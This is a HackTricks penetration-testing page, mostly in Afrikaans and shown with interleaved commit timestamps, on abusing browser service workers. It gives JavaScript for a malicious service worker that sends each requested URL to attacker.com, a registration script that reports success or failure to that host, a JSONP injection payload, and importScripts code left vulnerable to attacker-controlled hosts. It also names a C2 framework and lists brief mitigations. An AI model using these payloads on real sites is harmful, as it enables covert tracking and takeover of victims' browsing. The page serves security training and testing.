hacktricks/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md

136 lines
8 KiB
Markdown
Raw Normal View History

2024-02-11 02:07:06 +00:00
# Misbruik van Dienswerkers
2022-12-20 11:25:07 +00:00
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-12-20 11:25:07 +00:00
<details>
<summary>Ondersteun HackTricks</summary>
2022-12-20 11:25:07 +00:00
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-12-20 11:25:07 +00:00
</details>
{% endhint %}
2022-12-20 11:25:07 +00:00
**Probeer Hard Sekuriteitsgroep**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
2024-02-11 02:07:06 +00:00
## Basiese Inligting
2022-12-20 11:25:07 +00:00
'n **dienswerker** is 'n skrif wat deur jou blaaier in die agtergrond uitgevoer word, geskei van enige webblad, wat funksies moontlik maak wat nie 'n webblad of gebruikersinteraksie vereis nie, en dus **aflyn en agtergrondverwerking** vermoëns verbeter. Gedetailleerde inligting oor dienswerkers kan [hier](https://developers.google.com/web/fundamentals/primers/service-workers) gevind word. Deur dienswerkers binne 'n kwesbare webdomein te misbruik, kan aanvallers beheer verkry oor die slagoffer se interaksies met alle bladsye binne daardie domein.
2022-12-20 11:25:07 +00:00
2024-02-11 02:07:06 +00:00
### Kontroleer vir Bestaande Dienswerkers
2024-02-06 03:10:27 +00:00
Bestaande dienswerkers kan in die **Dienswerkers** afdeling van die **Toepassing** oortjie in **Ontwikkelaar Gereedskap** nagegaan word. 'n Ander metode is om [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) te besoek vir 'n meer gedetailleerde weergawe.
2022-12-20 11:25:07 +00:00
### Drukkenigings
2022-12-20 11:25:07 +00:00
**Drukkenigings toestemmings** het 'n direkte impak op 'n **dienswerker** se vermoë om met die bediener te kommunikeer sonder direkte gebruikersinteraksie. As toestemmings geweier word, beperk dit die dienswerker se potensiaal om 'n voortdurende bedreiging te wees. Omgekeerd, die toestaan van toestemmings verhoog sekuriteitsrisiko's deur die ontvangs en uitvoering van potensiële ontploffings moontlik te maak.
2022-12-20 11:25:07 +00:00
## Aanval om 'n Dienswerker te Skep
2022-12-20 11:25:07 +00:00
Om hierdie kwesbaarheid te misbruik, moet jy vind:
2022-12-20 11:25:07 +00:00
* 'n Manier om **arbitraire JS** lêers na die bediener op te laai en 'n **XSS om die dienswerker** van die opgelaaide JS-lêer te laai
* 'n **kwesbare JSONP versoek** waar jy die **uitset (met arbitraire JS kode)** kan **manipuleer** en 'n **XSS** om die **JSONP met 'n payload** te **laai wat 'n kwaadwillige dienswerker** sal **laai**.
2022-12-20 11:25:07 +00:00
In die volgende voorbeeld gaan ek 'n kode aanbied om 'n **nuwe dienswerker** te **registreer** wat na die `fetch` gebeurtenis sal luister en **elke opgevraagde URL na die aanvallers se bediener sal stuur** (dit is die kode wat jy nodig het om te **oplaai** na die **bediener** of te laai via 'n **kwesbare JSONP** antwoord):
2022-12-20 11:25:07 +00:00
```javascript
self.addEventListener('fetch', function(e) {
2024-02-11 02:07:06 +00:00
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
2022-12-20 11:25:07 +00:00
});
```
En dit is die kode wat die **werker** sal **registreer** (die kode wat jy moet kan uitvoer deur 'n **XSS** te misbruik). In hierdie geval sal 'n **GET** versoek na die **aanvallers** bediener gestuur word wat **kennis gee** of die **registrasie** van die dienswerker suksesvol was of nie:
2022-12-20 11:25:07 +00:00
```javascript
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
2024-02-11 02:07:06 +00:00
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
2022-12-20 11:25:07 +00:00
});
</script>
```
In die geval van die misbruik van 'n kwesbare JSONP-eindpunt, moet jy die waarde binne `var sw` plaas. Byvoorbeeld:
2022-12-20 11:25:07 +00:00
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
There is a **C2** dedicated to the **exploitation of Service Workers** called [**Shadow Workers**](https://shadow-workers.github.io) that will be very useful to abuse these vulnerabilities.
2022-12-20 11:25:07 +00:00
The **24-hour cache directive** limits the life of a malicious or compromised **service worker (SW)** to at most 24 hours after an XSS vulnerability fix, assuming online client status. To minimize vulnerability, site operators can lower the SW script's Time-To-Live (TTL). Developers are also advised to create a [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) for rapid deactivation.
2022-12-20 11:25:07 +00:00
## Abusing `importScripts` in a SW via DOM Clobbering
2022-12-20 11:25:07 +00:00
The function **`importScripts`** called from a Service Worker can **import a script from a different domain**. If this function is called using a **parameter that an attacker could** modify he would be able to **import a JS script from his domain** and get XSS.
2022-12-20 11:25:07 +00:00
**This even bypasses CSP protections.**
2022-12-20 11:25:07 +00:00
**Example vulnerable code:**
2022-12-20 11:25:07 +00:00
* **index.html**
```html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
2024-02-11 02:07:06 +00:00
// attacker controls location.search
2022-12-20 11:25:07 +00:00
</script>
```
* **sw.js**
```javascript
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
```
2024-02-11 02:07:06 +00:00
### Met DOM Clobbering
2022-12-20 11:25:07 +00:00
2024-02-11 02:07:06 +00:00
Vir meer inligting oor wat DOM Clobbering is, kyk:
2022-12-20 11:25:07 +00:00
{% content-ref url="dom-clobbering.md" %}
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}
As die URL/domein waar die SW gebruik maak van **`importScripts`** **binne 'n HTML-element** is, is dit **moontlik om dit te verander via DOM Clobbering** om die SW **'n skrip van jou eie domein te laat laai**.
2022-12-20 11:25:07 +00:00
Vir 'n voorbeeld hiervan, kyk na die verwysingsskakel.
2022-12-20 11:25:07 +00:00
2024-02-11 02:07:06 +00:00
## Verwysings
2022-12-20 11:25:07 +00:00
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-12-20 11:25:07 +00:00
<details>
<summary>Ondersteun HackTricks</summary>
2022-12-20 11:25:07 +00:00
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-12-20 11:25:07 +00:00
</details>
{% endhint %}